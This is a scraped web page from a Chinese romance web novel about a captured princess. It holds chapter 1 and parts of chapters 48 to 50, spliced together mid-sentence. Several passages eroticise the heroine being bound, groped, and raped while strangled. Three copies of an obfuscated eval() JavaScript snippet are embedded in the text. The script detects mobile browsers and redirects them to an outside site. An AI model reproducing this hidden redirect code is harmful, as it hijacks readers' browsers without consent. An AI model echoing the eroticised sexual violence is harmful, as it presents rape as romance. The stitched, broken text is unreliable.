《帝姬她不接受强取豪夺》 1. 第 1 章 《帝姬她不接受强取豪夺》全本免费阅读 “鹴哥,您里边儿请。” 一阵静默之后,门被人推开,接着是男人沉稳有力的脚步声,每一步都仿佛踏在纯懿的心口上,让她整个人都控制不住颤抖起来。 身上覆着的薄被滑落,露出光洁圆润的肩膀。纯懿双手被绑缚在床柱上挣脱不得,只能无措地扭动身体,试图将自己藏进被子里去,可光滑的布料反而落下更多,连精致的锁骨和一大片雪白的胸脯都暴露在外面。 也随着被猛然掀开的帘子,暴露在男人的眼中。 对上纯懿惊惶投来的视线,男人挑眉:“嗯?”语气虽然带着疑问,可眼神却直白又锐利,在纯懿身上转过一圈,最后定格在她裸露在外正剧烈起伏的胸脯之上,渐渐幽暗。 他的身形高大健硕,站在床边,将纯懿的视线遮挡的严严实实,只听到从他身后传来另一个男人的声音,带着不知何来的骄傲语气:“咱们什么关系,您一个眼神,我就能明白的。” 说着说着,语气就低沉暧昧起来:“人呢,小弟给您送来了,这就先走了。这个……” 微一停顿,又很是不怀好意地补充道:“……可是醉倚楼的新鲜花样,听说是大庆爷们儿最近流行的玩法。不过这庆女看着瘦瘦弱弱的,估计不经折腾,您可得收着点儿力,不行就再多捆上些绳子,也是个情趣不是。” 男人眼神一直没离开瑟瑟发抖的纯懿,轻斥:“滚。” 说话的人很识趣地离开了,屋内顿时安静下来,只有对视的两人,一躺一站,一个动弹不得,只能满脸哀求看着他,另一个身姿笔挺,目光却仿佛已穿透被子,将她光裸的身体尽收眼底。 纯懿的嘴里被塞了一块帕子,又被一根布条压着双唇牢牢绑缚在脑后,让她怎么努力也无法吐出只言片语,只能发出断断续续的呜咽之声。这声音却仿佛取悦了床边的男人,他忽然倾身上前,右腿屈起跪上床榻,右臂越过纯懿的身体撑在她脸侧,立刻便将纯懿罩在他的影子之下,激起她本能的惊呼和躲避。 男人只一条腿就轻松制住了她的挣扎,满含侵略的目光细细在她脸上逡巡,左掌抬起,食指指背轻轻触上她散乱在枕上额间的碎发,然后沿着眉毛、眼睫、脸侧一路滑下,在她小巧的下巴处转了个圈,又顺着下颌重新向上游移。 在纯懿努力偏头闪躲的时候,他大掌忽然顺着耳边发丝插入她脑后,然后轻巧拨弄,指尖就勾了一根布条出来。 感觉到唇上禁锢一松,纯懿的舌头立刻拼命□□,终于将嘴里的手帕吐了出来,喝道:“大胆虞娄蛮子,还不快将我放开!你可知我是谁!” 纯懿其实在赌。她并不能确定眼前的男人从何而来,只是听他们左一个“大庆爷们儿”右一个“庆女”的,似乎不是大庆人。 而眼下出现在汴京的外族人,纯懿立刻想到了正在汴京城外的虞娄人。 纯懿已努力摆出了自己全部的气势,男人却一点儿都没被震慑。他的声音低沉微哑,很是好听,带着男性独有的浑厚,出口的话却明显的应付了事:“哦,那你是谁?” 一边说着,一边将左手虚悬在她脸上,比划了一下,不等纯懿回答就轻笑出声,“脸还没爷巴掌大,摆什么架子。” 他竟坦荡认了下来,没有一点想要隐瞒身份的意思! 就是纯懿再不通世事,也立刻意识到,今夜,恐怕就是他定给她的死期了。 明知道虞娄大军正在围城,她真不该偷跑出宫来挑选衣料的。本是想着,婚期在即,她要亲手为昂哥哥裁剪一身衣袍作为定礼的回礼,给他一个惊喜,却没想到虞娄人竟如此胆大包天,敢偷偷潜入城里,随意绑掠大庆百姓,竟然还想杀人灭口! 纯懿恨恨闪躲开男人的大掌,抬起下巴,模仿着皇姐平日里的倨傲表情:“吾是大庆帝姬!还不快将吾送回拱宸门,吾还能让你死的轻松一些,不然等吾皇兄找来,他饶不了你!” 那男人面上表情终于有了些变化,带些惊诧地仔细打量着纯懿。纯懿将下巴抬得更高,努力控制着自己发自本能对他的畏惧,强撑着与他对视。 男人忽然又笑了。他恢复了原先那副浑不在意的神情,反而将身体压得更低,几乎是隔着被子贴上纯懿的身体:“巧了,爷玩过不少女人,却还没睡过帝姬呢。听说大庆皇帝有二十多个帝姬,不知你是哪一个?” 感受着他身体的热度,听着他轻佻的话语,纯懿气的浑身发抖。想斥责他,怒骂他,脑海里却有一个声音不住提醒:纯懿,你要冷静,激怒他对你没有任何好处。现在重要的是想办法脱身,绝不能死在这里,死在这个时候。 可纯懿从来没有遇到过这样的事情,一时间,她脑中闪过纷繁杂乱的念头,却不知道该怎么做。 男人似乎已经将她的底细看透,一点儿也不将她放在眼里的样子,半个身子的重量全压在纯懿身上,随手将刚解下的布条抛在一边,紧接着就探入被衾之中,大掌搭上她的腰肢,皮肤紧挨着皮肤,滚烫灼人,然后不轻不重地揉捏起来。 纯懿浑身战栗,十根细瘦手指用力勾结在一起,贝齿将本就血色不盈的粉唇咬到几乎苍白。 似乎被她的隐忍不屈激起了气性,男人的兴致更盛,手下堪堪失了控制,愈发不老实起来,甚至沿着她的腰侧开始向上游走。明明是一张非常英俊的脸,在纯懿眼中却仿如厉鬼修罗。 不能这样下去了。 幸亏她已经在与昂哥哥过礼,婚期就定在转过年的春天。几位已经出嫁的姐姐回宫见着她,总是会打趣她几句,性格最是跳脱的显德帝姬还神神秘秘邀请她一起进学,说是对她成婚大有助益。显德说什么,纯懿就傻傻信什么,真跟着她一起钻进被窝里,郑重其事翻开书册。可那里面…… 纯懿努力集中精神,回想着册子里的画面和显德对她说的悄悄话,失血的唇瓣颤抖着,几次试图发声,张口溢出的却只有断断续续、控制不住的惊泣。直到感觉到那覆着一层茧子的大掌正在掠过她的肋骨,留下一路痛痒,直朝着她的前胸而去,纯懿狠了心,终于挤出一句话来,低低的:“……疼。” 男人毫不理睬,继续着手下的动作。 纯懿急了。丢掉了自己的全部矜持和涵养,挣扎着梗起脖子,凑近男人的耳朵用尽全身力气大吼:“疼!好疼!” 不知道是不是被耳边吼声震住,男人的大掌顿住,终于将脸抬起,看向纯懿。 纯懿急忙收了脸上的愤恨惊惧,摆出最可怜怯懦的表情,不用刻意积聚,双眼早已是泪水盈盈,放软了声音哀求:“绳子捆的太紧了,我疼。” 说着,将被绑缚在床头的双手摇动两下。 男人顺着她的动作看去,小娘子细瘦的手腕处果然已经被勒出几圈深深的青紫痕迹,有的地方还破了皮,沾着血迹,斑斑点点的红。再配上她天真无害的小脸和满眼的泪水,确是有些可怜。 他对宗翰所说的捆绑花样不感兴趣,事实上,对面前这个小娘子,他也没有非要不可的意思。 一个华美动人的小娘子和一个脏臭褴褛的小乞丐,这两人的组合过于怪异,任谁经过都会多看几眼。待看到小娘子满眼心疼,从腰间摸出碎银轻轻放于小乞丐掌心,还温柔笑着对他说话,小乞丐却手上动作飞快,不仅接了她的碎银,还趁她靠近说话时,将整个荷包都拽下来藏入袖中时,他便冷冷扯了唇角,移走视线抬步离开。 善良和天真,尤其是过度的善良和天真,真是没有一点用处。 不过是多看了几眼,还没过几个时辰,这个小娘子就被送到了他的面前。 肃鹴打量着纯懿,看她细瘦的手腕、小巧的头脸和仿佛风吹就倒的身材,腰似乎都没有他的大腿粗,实在像是一朵一折就断的花,美则美矣,却柔弱无依。 若是被这样柔软的手臂攀附…… 肃鹴撑起了身子,视线紧紧锁着纯懿的双眸,满含野兽般的侵略和压迫,眼风都没朝着床头处扫去一个,手上却仿佛像长了眼睛一般,准确探了过去,只单手就轻松圈住纯懿被捆在一起的两个手腕。 然后一拽。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872791|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>喝尽,然后再倒一杯,再喝尽。 延陵宗隐向来是一个有仇必报的人,他绝不会放过她。她今日已经逃跑无望,只能自救。 纯懿最后是被架出王宫的。延陵宗隽本来就对她很有兴趣,此刻觉得她这样红着脸分外可人,色意上头,也不在乎她醉醺醺的模样,在马车上就要对纯懿动手动脚。纯懿只能软绵绵的闪躲,激得延陵宗隽愈发急切之时,忽然一声干呕,将已经压抑了一晚上的厌恶尽数吐在延陵宗隽脖颈后背。 浓烈的酒味和腐败的气味传来,延陵宗隽顿时也倒了胃口,失了所有兴致。他怒喝一声,甩下神志不清的纯懿,自己愤怒地下了马车。 纯懿晕晕乎乎的不明所以,一直到被裴明心扶进床榻,她仍是迷迷瞪瞪的。努力环顾了半天,发现自己回到了熟悉的小院,纯懿这才脱力一般阖上双眼,很快便沉沉睡去。 裴明心已经知道今日计划功败垂成,看着这样蔫蔫的纯懿,心疼得要命,担心她晚上难受要水,也不回房睡觉,就守在纯懿身边,准备着晚上照顾她。 夜渐渐黑了,纯懿屋中一直亮着一盏微弱的灯烛,间或跳跃一下,将裴明心的身影投在窗纸上,闪闪烁烁。 忽然一声轻响,窗户洞开。一阵寒风从窗外卷入,顿时将灯烛吹灭。昏昏欲睡的裴明心被吓了一跳,紧了紧披肩,准备去点亮烛火,可刚一站起身,一柄冰凉的短剑就贴在她的脖颈上,阻止了她所有的动作。 一个比剑刃还要冰凉的声音在耳边响起:“滚。” 裴明心还没反应过来,一只大手就捂上她的口鼻,阻止了她所有的呼喊,从背后将她拖了出去。门被关上,清冷的月光斜落下来,将半张英俊的脸庞照亮,另外半张却还隐没在黑暗中,带着种诡异的瑰丽。 半明半暗,犹如鬼面罗刹。 他缓步走到床边,俯下身子,冰凉的视线定在纯懿嫣红的小脸上,颊边肌肉紧了又紧,暗暗咬牙。 纯懿睡得很不安稳。她梦到了一条粗壮的大蛇盘亘在她身上,将她整个身体都缠绕其中,让她几乎喘不过气来。 这条蛇皮肤粗糙,却异常火热,蛇尾细细扫遍她的全身,蛇头“嘶嘶”吐着信子,将她的浑身都舔舐得湿漉漉的,让她不舒服的紧。游移许久之后,似乎是找到了喜欢的地方,大蛇在她的胸前盘旋良久,然后顺着沟壑和锁骨缓缓向上,一直滑到她脖颈间,又追着她洒落的发丝在她细瘦的脖颈处环绕一圈,缠缠绵绵,黏黏腻腻,难以挣脱。 纯懿睫毛微微颤抖,轻启双唇:“唔……别……” 一个火热的软软的东西闯入她口中,将她所有嘤咛都搅弄破碎。而另一个火热的坚硬的东西,却猛然强势闯入,逼出她更多的轻吟。 纯懿轻摆螓首,想要摆脱这让人痛苦的梦境,脖颈上环绕的大蛇却骤然收紧身体,牢牢锁住纯懿脆弱的脖颈,越发用力,掐断了她所有的呼吸。 窒息和濒死将纯懿猛然唤醒。她突然睁开双眼,美目圆瞪,双唇大张,努力想要呼吸,却吸不到一点空气。 纯懿从未如此真切的感受到,死亡正在向她逼近。她的小脸涨得通红,身体也开始微微抽搐,双手下意识搭上她面前横着的一只古铜色胳臂,却只能无力扒拉着裹于其上的坚实肌肉,祈求一分生机。 “醒了?”一个冰冷的声音从头顶传来。延陵宗隐动作更加狠厉,掐着纯懿脖颈的双手也愈发收紧,喘息着轻笑道,“我的……嫂嫂?” 49. 第 49 章 “听说你与我阿兄两情相悦?” “听说你在洗衣院的时候,就与我大兄勾搭上了?” “看来还是我没有满足你,纯懿帝姬。” 延陵宗隐每说一个字,就猛力进攻一次,咬牙切齿的宣泄着自己的恼意:“我真是小看你了。” 因为窒息,纯懿双耳嗡嗡的响,延陵宗隐的声音仿佛飘在云边,断断续续传来,让她根本无力分辨他在说什么,只能勉强将双手搭上延陵宗隐掐在她脖颈上的大掌,指甲在他铁钳一般的手上掐出一块块洇出血迹的红痕,呜咽哀求地看着他。 这种程度的疼痛对延陵宗隐来说根本不算什么,她因着紧绷而愈发紧致的身体反而给了他极大的满足。他已很久没有碰过女人了,战场上的血腥和杀戮激发了他所有的戾气,纯懿的欺骗和背叛更是让他挣脱了一切桎梏。 延陵宗隐愈发没了轻重,不管手上还是别处,都加大了些力气,只凶狠索求自己的酣畅,存心要让纯懿难过。 他在这种时候本来就作风强势,现在更是动作凶残,纯懿一直都承受得艰难,今日被强掐着脖颈,更是超出了她的极限。很快,她眼前越来越黑,神志也愈发飘忽,所有的感受都离她而去,只有自己粗重却无力的呼吸声回荡在混沌之中。 死亡,就是这样的吗?显德姐姐、恺之,还有许多在她之前死掉的人,也是这样的感觉吗? 昂哥哥,她这次可能真的要死了…… 就在要彻底坠入黑暗前,忽然,脖颈上的桎梏消失了。新鲜空气涌入纯懿重新通畅的喉管,刺得生疼,却甜美异常。 纯懿近乎本能地大口喘息,贪婪地攫取着一线生机。可长时间的缺氧和承欢已经让她面色铁青,肢体无力,不论再怎么努力求生,纯懿的呼吸还是不受控制地渐渐短促清浅,扶在胸膛上努力顺气的细弱双手也慢慢滑落到身体两侧,摊在被褥上微微痉挛。 两片火热的唇瓣忽然包住她无力喘息的唇,强劲有力的气流有规律的挤入她的气管,逼迫着她已无力翕张的肺经重新开始工作,不允拒绝,强势一如往昔。 这个时候,纯懿也顾不得别的,抓到救命稻草一般跟从着延陵宗隐的节奏,随着他一起呼吸。 几次渡气之后,纯懿胸膛里一颗已经疲软的心终于重新有力地跳动起来,手上也恢复了些力气。她的视线渐渐清明,视野里只能看到延陵宗隐一张放大的脸,和他面上有些称得上沉醉的神情。 他的唇仍然在她唇上流连,却已几乎没什么渡气的意思,只是辗转享受着她的柔滑温软。他的胡茬与他的头发一样,又硬又黑,倒是与他匹配,却扎得纯懿下巴生疼。 纯懿立刻将他推开。 延陵宗隐正享受其中,一时不察,竟然真的被纯懿猛然一把推到了旁边。他顺势一个翻身,躺在纯懿身侧,轻声嗤笑,声音里还带着飨足过后的沙哑:“真是没良心。” 反正已经这样了,延陵宗隐还会再杀她一次不成?纯懿明知会激怒他,却还是厉声斥责:“二王子,我是你的嫂子!请你自重!” “二王子?”延陵宗隐挑眉,重复一次纯懿对他的称呼,冷笑,“果然,身份不一样了,称呼也就生分了,嗯?” 他最后“嗯”的一声,尾音上扬,却带着十足的嘲讽和压迫,粗糙有力的手指也重新抚上纯懿温湿的脸颊,一点儿都没有要收敛的意思。 “那请问嫂嫂,你这一身……”他视线暧昧下移,在纯懿遍布青紫的身躯上转了个圈,这才重新转回她的脸上,在她耳畔轻轻吹气,“……痕迹,要怎么向我大兄交代?” 纯懿嗓子沙哑,甚至超过延陵宗隐。她狠狠打开延陵宗隐在她面上流连的大手:“就是你。我是被你强迫的,我会让太子杀了你!” “那你可以试试,”再次被纯懿挥开,延陵宗隐也不再动手,他转了个身,左臂半撑在脖下,慵懒侧卧着看向纯懿,“我既然敢来,就不怕你去告状。用太子来压我?” 延陵宗隐轻笑:“没有用的。” 纯懿紧抿了唇,将脸扭到一边去,一眼都不想看他。 畅意之后,延陵宗隐似乎心情不错。他看着纯懿留给他的后脑勺,又去拨弄她顺滑的长发:“不过这样也不错。你之前那么柔顺乖巧,我都渐渐觉得腻烦了,还在想着有没有什么更刺激一点的乐子。现在……倒是不用费心了。” 纯懿阖上双眸,睫毛微微颤抖着,眉头皱起,很是痛苦的样子。 延陵宗隐看她现在这般娇弱无力的模样,又想到刚才她给他的无边快活,满心的控制欲和施暴欲莫名得到了满足。他忽然开口,半是玩笑半是认真地道:“你去讨好太子,还不如来讨好我?你对我好一点,说不定我也会对你好一点呢?” 纯懿冷笑:“我还不够讨好你吗?” 延陵宗隐淡淡反问:“你的讨好有一点儿真心吗?” 没有。 纯懿在心中回答。看来延陵宗隐倒也很清楚这一点。 沉默一会儿之后,纯懿手指按上太阳穴,缓缓揉捏着。一边按压,她一边开口,语气已经和缓了许多:“你怎么突然回来了?受伤了吗?胜了吗?” 延陵宗隐看着她的动作,开口却是:“头疼?” 纯懿疲惫地微微点头:“喝了酒。” 延陵宗隐其实在宴席上就发现纯懿一直在埋头灌酒。现在看她这幅难受的样子,想到自己刚才的孟浪狂放,忽然就有些后悔起来。 他沉默看着纯懿手指无力在太阳穴处转圈,好几次都滑到了一边去。到了最后,指尖甚至已经挪到了眼角附近,却还在徒劳地努力揉捏,终于忍不住了。 延陵宗隐拎起纯懿细瘦的手腕,就将她的手扔到一边,双指代替了纯懿的食指,指尖精准点按在她的太阳穴,缓缓按揉起来。他的力道不大不小,将穴位按得微麻,有效缓解了纯懿脑中钝涨,却一点儿都没有弄疼她。 没想到铁血狠厉的“狼主”延陵宗隐,服侍起人的手法却这么老道。就算纯懿表现出的难受有一半是故意装出来的,也不得不在他这般稳妥的伺候下渐渐放松下来。 她今日精神高度紧张,还喝了不少酒,刚刚又大大劳累了一场,很快便沉入梦乡。这一次,没有巨蛇,没有压迫,她的梦舒适安稳,一片宁和。 直到纯懿的呼吸渐渐平稳,延陵宗隐这才慢慢将双手从纯懿头侧拿开,动作轻缓小心地下了床。穿戴齐整后,他回头,又看了陷在床帐中的纯懿一眼,见她甚至还微微打起了小小的呼噜,不由唇角翘起,不知不觉就露了一个笑容出来。 本来还打算继续的,想让她死去活来,想让她哭求不止,一定要让她牢牢记住今日的教训…… 延陵宗隐不无遗憾地想:算了吧。来日方长。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12885078|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他俯下身子,有些笨拙地帮纯懿掖了掖被角,然后放轻脚步,悄悄走出房间。 黑塔将裴明心和阿上关在一起之后,就尽职尽责守在门口。看他家郎主来时强压怒气的样子,本来还以为怎么也得在里面折腾上大半宿,却没想到这么快就出来了,视线就不由自主朝延陵宗隐要害处瞟。 这么快?该不会是……不行了吧? 延陵宗隐何等敏锐的人,立刻发觉黑塔的怪异神情,下意识就打算一脚飞踹过去。堪堪抬起脚,他却立刻想到正在屋内沉睡的纯懿,生怕外面这般动静将她吵醒,再头疼难受,便心念一转换了拳头,对着黑塔的脸上作势一拳,压低声音: “还不快去查清楚陆双昂到底人在哪里?” 黑塔吓得抱头躲避,应了一声,飞快跑开了,只剩下延陵宗隐一人站在门口。他身形挺拔,只站着就犹如刀削斧砍般英姿勃发,眸光在夜色中犀利如鹰,隔着窗户遥望纯懿的位置,忽然勾唇冷冷一笑。 然后回身,大步离开。 就算延陵宗隐没有继续,第二日醒来,纯懿还是浑身酸痛,甚至无法下床行走。不过,不知道是不是因着她醉后的那一场呕吐,让延陵宗隽彻底厌恶了她,连延陵宗隽也没有来寻她。 纯懿得以好好修养了身体,又仔细想了下一步要怎么做。 现在延陵宗隐回来了,以他的风格,一定会在她身边安插眼线,甚至连阿上和裴明心的一举一动都会尽数落入他的掌控。与孟曹勋的会面是无法再继续了,与陆双昂的联系也就此断绝,只希望他能沉得住气,不要暴露在延陵宗隐面前。 还有永嘉宗姬,和几位答应与她们配合的大庆娘子那边…… 纯懿一点一点思索着,将乱成一团的线头重新整理清楚。第二日傍晚,暮色渐起之时,延陵宗隽却忽然踏入了她的小院。 纯懿身子还疼,却也只能强装成无事的样子,起身来接待他。延陵宗隽似乎是在哪里受了气,很是有些不忿的样子,步入纯懿的院子,也不多说话,就直接来撕扯纯懿的衣裳。 纯懿双手下意识紧紧护住自己的衣领。前夜延陵宗隐在她身上留下的痕迹还分外明显,尤其是脖颈上乌黑的掌印,是绝对瞒不过延陵宗隽的眼睛的。 她拒绝道:“不行!” “有啥不行的!”延陵宗隽心气更加不顺,不管不顾又去拉扯纯懿,“别给脸不要脸,趁着爷好说话的时候最好识趣儿点,不然就别怪爷不留情了!” 看延陵宗隽一副势在必得的样子,纯懿拼尽全力挣脱了他的大掌,一边飞快想着脱身的办法。 就在延陵宗隽的终于逮到机会,将纯懿压于院内石桌上,狠狠扯开她的腰带时,一个形状怪异的铁牌“当啷”一声掉到了地上。 纯懿一声惊呼,立刻蹲下身去捡。再抬头时,她的面上满是严肃。厉声道:“太子!我尽全力才净化好的院子,因为您这就全白费了!” 延陵宗隽喘着粗气,一时没反应过来。 他粗声粗气地喝道:“什么鬼的净化仪式……” “太子慎言!”纯懿立刻打断了延陵宗隽的话。她脸色肃穆,双手交叠在腰间,将那块儿铁牌捧在手心,恭敬俯身,“您说鬼神,鬼神在听!” 延陵宗隽一个激灵,所有的旖旎心思顿时消散无踪。 “你说我府里有鬼?” 50. 第 50 章 纯懿淡笑着,直视延陵宗隽:“太子,您该不是忘了,我是为什么才来到您的府上的吧?” 看纯懿如此镇定严肃,延陵宗隽被欲望冲昏了的头脑终于慢慢恢复清明,这才想到面前这位帝姬可是大庆国国师亲自认定的应身神女,他冒着惹怒父王和老二的风险接她入府,的确是存了与她合作,然后让她帮忙给自己转运的意思。 纯懿一直安分待在太子府上,最近军务又忙,他倒是真的忘了这茬儿。 延陵宗隽很是怀疑地看向纯懿:“你……在我府里看到了鬼?” “对,”纯懿点头,将手里那块儿形状怪异的铁牌向上托举一些,很是恭敬的样子,“不过他们大都不信任我,不肯与我说话。只有一位脖子被扭断、身下还淌着血的女子与我说过两句,她说她一直盘桓在太子府中不肯离开,是要找她的女儿。” “她说……”纯懿语速很慢,暗中观察着延陵宗隽的神情,“她说她的女儿给她托过梦,说自己在太子府上,她是因为来府里找女儿才死掉的。所以,她一定要找到自己女儿,不然绝不肯离开。” 延陵宗隽的脸色渐渐铁青,原先对纯懿的说法抱着的怀疑也一扫而空。 这么个女鬼…… 他烦躁地踱步,嘴里不停骂着什么,神情也渐渐狰狞起来。忽然,他像是下定了什么决心一般,回身对着纯懿吼:“你告诉她!她那个死鬼女儿不在我府上!早八百年就扔到了猎场被狼啃了!让她赶快滚,滚开!” 纯懿温顺俯身,行礼道:“是。我会转告她的。” 延陵宗隽这下对纯懿“应身神女”的身份深信不疑,他大步迈到纯懿身旁,两手钳住她的肩膀,表情扭曲,不断摇晃着她:“你说你净化了这个院子?给爷继续!把整个府都给爷净化了!把那些脏东西都给爷赶出去!听到没?” 纯懿点头,神情中就带上了些委屈:“我一直在努力,但是您府中……有些多。与这些邪物打交道,必须保持纯净之体才能不被他们影响,所以……” 纯懿吞吞吐吐,意有所指。 延陵宗隽立刻明白了纯懿的意思,下意识后退一步,可很快又有些怀疑起来。他斜眼看向纯懿:“你不是耍老子的吧?” 纯懿有些无奈:“如果这样还不能证明我的能力,那我再对您透露一件事。” 延陵宗隽莫名就打了个哆嗦。他粗壮了语气,来给自己壮胆:“你说。” “那个女人跟我说……”纯懿微笑着,每个字都很清晰,“您最近可能有血光之灾。” 延陵宗隽气哼哼的离开了,脚步混乱,带些踉跄,已经离得大老远了,纯懿都能听到他命令让太子府部曲加强守卫的咆哮。 纯懿终于松了口气,一直强撑着的疼痛的身体终于再坚持不住,慢慢坐到石凳上,手里端着的铁牌也滑落到地上,发出“当啷”一声脆响。 纯懿只淡淡扫了一眼就将视线挪开,任由它躺在泥土中,一点儿都没有刚才的恭敬小心。 在旁边大气都不敢出的裴明心跑过来,也看都没看那块铁牌:“帝姬,您刚刚说的可真吓人,玄乎倒是挺玄乎的,怎么就唬住了太子?” “因为这是真实发生过的事,”纯懿淡淡道,“八年前,延陵宗隽看上了一位小官之女,就将她强抢入府,然后这姑娘就再没了音讯。她的家人心急如焚,多方打听之后才知道她进了太子府,她的父母前来太子府要人,延陵宗隽这个畜生却又看上了她的母亲。” 裴明心的眼睛越瞪越大,心里隐隐有了个猜测。 “延陵宗隽杀了这位小官,将他的妻子关起来玩弄了许久,眼看着她要不行了,被扰了兴致,延陵宗隽就生生将她的脖子拧断,扔出了府去。”纯懿视线望着虚空,有些出神,“为了斩草除根,他又寻了个名目,将小官全家杀戮殆尽。这件事当时也没有多少人知道,我那个时候还在汴京,更是不可能听说。我用这件事诈他,他自然会信。” “那您……” 纯懿看向裴明心,微微一笑:“延陵宗隽以为自己做的够绝,他却不知道,住在小官家隔壁的屠户,他们家的儿子早就对这位姑娘心生爱慕,但是因为身份云泥之别,一直不敢开口,只将爱恋藏在心中。而他……从来都没有忘记过这位姑娘,和她枉死的一家。” 裴明心恍然大悟,又有些动容:“没想到,虞娄还能有这般深情之人。” 纯懿沉默良久,觉得疼痛缓解了一些,这才在裴明心的搀扶下站起身来,悄声道:“那位屠户的儿子参了军,现在在城门上当值。有机会,你将那位姑娘的埋骨之地告诉孟大人,让孟大人转告他一声吧……也算是全了他一份心意。” 裴明心应了下来,本以为延陵宗隽最近是不会再来了,却没想到只过了一天,延陵宗隽就脚步匆匆,如同一阵风一般,再次闯入了纯懿的小院。 可这次,他却着实有些狼狈。 延陵宗隽脑袋上裹了一圈棉布,将整张脸遮去了大半,却还是隐隐有红色洇染出来。他身上的衣袍也歪歪斜斜的,四处晕染着血迹,就连靴子都左右穿反了,一看就是慌乱之中随便套上的。 他声嘶力竭地冲着纯懿大吼:“你有没有跟那个疯子说!她女儿不在老子这里!不在!不要再缠着老子了!离老子远点!远点!” 看着延陵宗隽这一身狼狈,纯懿有些惊讶的站起身来,可听到他的质问,纯懿又有些无奈地垂下头:“我最近没能见到她……您知道的,我净化了我的小院之后,那些东西就没办法靠近这里了,我又没出去,所以……” 延陵宗隽顿时火冒三丈。他一双蒲扇般的大掌揪住纯懿的衣领,将她整个人都提了起来,唾沫星子喷了纯懿一脸:“去他娘的什么你的院子,你去给爷净化!去给老子把府里净化了!” 纯懿忍着内心厌恶,顺从地点头,很有眼色的:“那我今日就开始,先去您院子里。” 延陵宗隽这才放开纯懿的衣领,都不愿让她换身衣服,站在一旁瞪着一双牛眼看着纯懿,让她立刻就走。 纯懿无奈,只好装模作样收拾了一些乱七八糟的东西,又将那块本来是打算刻给延陵宗覃玩的小铁牌珍而重之摆在最上面,带着裴明心走出小院,朝着延陵宗隽的主院而去。 裴明心悄悄跟纯懿咬耳朵:“我以为您也是乱说的,怎么太子还真遇了血光之灾!” 纯懿压低声音,略带些无奈地笑:“延陵宗隐向来是一个有仇必报的人,甚至都等不及让仇怨过夜。延陵宗隽那日在宴席上那般挑衅他,他绝不会忍,一定会报复回来。” 裴明心对纯懿的敬佩达到了高峰。她瞥一眼怒气冲冲走在最前面的延陵宗隽,又有些担忧:“那一会儿的净化仪式……怎么做?” 纯懿摊手:“随便做,爱怎么做怎么做。” 延陵宗隽住的,自然是太子府最大、最豪华的院落,除了他休息的正屋,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903474|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与心腹臣僚议事的议事厅,处理朝务的内书房,单给他开设的小厨房等等,大大小小十几间屋子。 纯懿很有眼色地选了延陵宗隽的正屋先开始“净化仪式”。她也没什么章程,先从一段经典经文开始,然后又故意颂背一些虞娄人绝没有听过的大庆秘经,后面改为想到什么说什么,语速越来越快,内容越来越囫囵,最后甚至连经文都不想颂了,干脆胡言乱语起来。 可因着她是大庆帝姬,自幼熟读群书,积淀深厚,这么神神叨叨说一些虞娄人听不大懂的话,倒是非常唬人。 纯懿一边“做法”,一边有些想笑。说起来也是讽刺,若不是她当初以为自己杀了延陵宗隐,整日噩梦连连,无法入眠,她也不会跟着母亲诵读经书祈求心境平和,这个时候也不能假借着这个名义忽悠延陵宗隽了。 纯懿扫了一脸严肃的延陵宗隽一眼:谁让你有延陵宗隐这么个好弟弟呢? 延陵宗隽的确是听不明白纯懿在念叨些什么,但就是莫名觉得很厉害的样子。开始的时候,他还肃穆立在旁边仔细听着,不时在心里跟着念叨一些“保佑”“渡我”什么的。 可纯懿这仪式实在是冗长,又着实无聊,眼看着时间流逝,她仍是一副老神在在的样子,丝毫没有要结束的意思。 延陵宗隽就有些烦躁了。他是个粗人,向来没什么耐心,能在这里站上这么久,已经是非常难得了。 他却不敢打断纯懿,只得强压着性子又忍了一会儿,最后终于耐心告罄,在心里对四方神佛们告了歉,说自己刚刚经了血光之灾,现在头晕脑胀,实在不适,怕再留下去出丑不雅,污了神佛们的眼睛,这就先告辞了,然后抬脚风风火火地离开了。 纯懿恍若不觉,继续她的“净化仪式”,到了晚上才悠然离开,然后第二日又很自觉地来继续。 开始几天,延陵宗隽还跟在旁边一直监视着纯懿的一举一动。可他毕竟是太子,不能整日与纯懿耗在这里,见她没什么异常举动,后来也就派了护卫替他盯着,自己去忙别的事,时来时不来了。 又这么“净化”了几日,纯懿到底净化了多少不知道,太子主院的护卫倒是再也不拦她了,甚至还很恭恭敬敬地将她迎入院里。偶尔纯懿有什么需求,他们也二话不说,就听从她的命令四处奔波,为这位“神女”的仪式搭上把手,丝毫不敢阻拦。 到了后面,随着“仪式”越来越复杂,纯懿的要求也越来越奇怪。有时要府里三位阳月阴时出生的侍女帮忙端水,有时要找来一斤黑公鸡的尾毛,甚至还要过一次生于子时的十条小狗,一个要求接着一个要求,将太子府众人指挥得团团转。 